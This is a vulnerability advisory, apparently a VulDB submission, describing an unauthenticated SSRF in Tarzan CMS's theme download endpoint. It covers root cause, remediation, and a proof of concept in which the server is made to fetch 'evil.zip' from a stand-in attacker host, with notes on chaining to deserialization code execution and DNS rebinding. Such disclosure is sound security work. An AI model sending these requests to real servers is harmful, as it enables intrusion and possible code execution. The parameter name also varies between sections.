| tiêu đề | taisan Tarzan CMS 1.0.0 and earlier Server-Side Request Forgery (SSRF) |
|---|
| Mô tả | Tarzan CMS Unauthenticated SSRF Vulnerability Report
1. Overview
Vulnerability Name
Unauthenticated Server-Side Request Forgery (SSRF) in the Theme Download Function of Tarzan CMS
Vulnerability Type
Server-Side Request Forgery (SSRF)
CWE ID
CWE-918: Server-Side Request Forgery (SSRF)
Severity
High
Affected Products
Software Name: Tarzan CMS (the product may be discontinued)
Affected Versions: x.x.x.x and earlier
Vulnerable Component: Theme Download Function
2. Description
The theme download functionality in Tarzan CMS is vulnerable to Server‑Side Request Forgery (SSRF). The system directly uses user‑controllable parameters as the target URL for remote requests without proper validation or restriction on the destination address. An unauthenticated attacker can force the server to send requests to arbitrary HTTP/HTTPS endpoints.
This flaw allows an attacker to access attacker‑controlled server resources, probe internal network services, and further escalate the impact by chaining with the SnakeYAML deserialization vulnerability.
3. Impact
An attacker can leverage this vulnerability to:
Force the server to access resources specified by the attacker;
Probe the internal network environment of the target server;
Access internal services within the server’s network;
Combine with other vulnerabilities to achieve higher‑impact attacks.
Extended Attack Chain:
text
Attacker
│
▼
/theme/download?url=http://evil.com/evil.zip (SSRF)
│
▼
Server downloads the attacker‑controlled file
│
▼
File enters the theme processing workflow
│
▼
Triggers dangerous parsing logic
│
▼
May lead to remote code execution
4. Vulnerability Location
Controller: com.tarzan.cms.modules.admin.controller.ThemeController
Endpoint: POST /theme/download
Parameter: httpUrl
5. Root Cause Analysis
5.1 Access Control Analysis
The Shiro configuration includes:
java
filterChainDefinitionMap.put("/theme/**", "anon");
Because /theme/download matches the /theme/** pattern, this endpoint is publicly accessible (anon). No authentication (user account, cookie, or session) is required to invoke it.
5.2 Vulnerable Code Snippet
The vulnerable code is located in com.tarzan.cms.modules.admin.service.biz.ThemeService.java, around line 177 (see screenshot in original report).
5.3 Root Cause
The code directly passes the user‑supplied input into:
java
new URL()
and then calls:
java
openConnection()
This causes the server to actively initiate a request to the attacker‑specified address.
Although a URL format validation method filterUrl() exists, it only checks whether the URL format is valid and does not enforce any of the following restrictions:
Restriction on destination domain names;
Restriction on destination IP addresses;
Filtering of internal network addresses;
Re‑validation after DNS resolution.
As a result, the attacker can fully control the request target. By default, the request uses port 80, so the attacker can host a malicious file on a server listening on port 80. This can be chained with CVE‑2025‑1113 to achieve deserialization‑based code execution. DNS rebinding can also be used to access internal IP addresses and probe the intranet environment.
6. Proof of Concept
6.1 Environment Information
JDK Version: any
Tarzan CMS Version: 1.0.0
6.2 Setting Up the Attacker Server
Start an HTTP server (listening on port 80):
bash
python3 -m http.server 80
Place a test file (e.g., evil.zip) in the server root directory.
6.3 Sending the Attack Request
Send the following HTTP request:
text
POST /theme/download HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
url=http://<attacker-ip>/evil.zip
6.4 Verification
The attacker’s server will receive a request like:
text
GET /evil.zip HTTP/1.1
This confirms that the Tarzan CMS server actively initiated a connection to the attacker‑specified URL, proving the existence of the SSRF vulnerability.
7. Remediation Recommendations
Code Fixes
Never construct network requests directly from user input. Recommended countermeasures:
Use a whitelist of allowed destination addresses;
Restrict allowed domain names;
Block access to internal IP addresses;
Re‑validate the IP address after DNS resolution;
Limit allowed protocols;
Restrict accessible ports.
Network Layer Protection
Block outgoing connections to the following internal address ranges:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
x.x.x.x/16
8. Supporting Evidence
(Screenshots from the original report are referenced here)
Figure 1: Successful access to the endpoint without cookies.
Figure 2: The attacker’s server receives the incoming request.
9. References
Project Issue Tracker: https://gitee.com/taisan/tarzan-cms/issues/IK768M
Related Vulnerability: CVE‑2025‑1113
10. Contact
Submitter Email: [email protected] |
|---|
| Nguồn | ⚠️ https://gitee.com/taisan/tarzan-cms/issues/IK768M |
|---|
| Người dùng | mjh_123 (UID 92618) |
|---|
| Đệ trình | 07/08/2026 10:52 (cách đây 1 tháng) |
|---|
| Kiểm duyệt | 13/09/2026 11:12 (1 month later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 403265 [taisan tarzan-cms 1.0.0 Theme Download Function ThemeService.java openConnection httpUrl nâng cao đặc quyền] |
|---|
| điểm | 20 |
|---|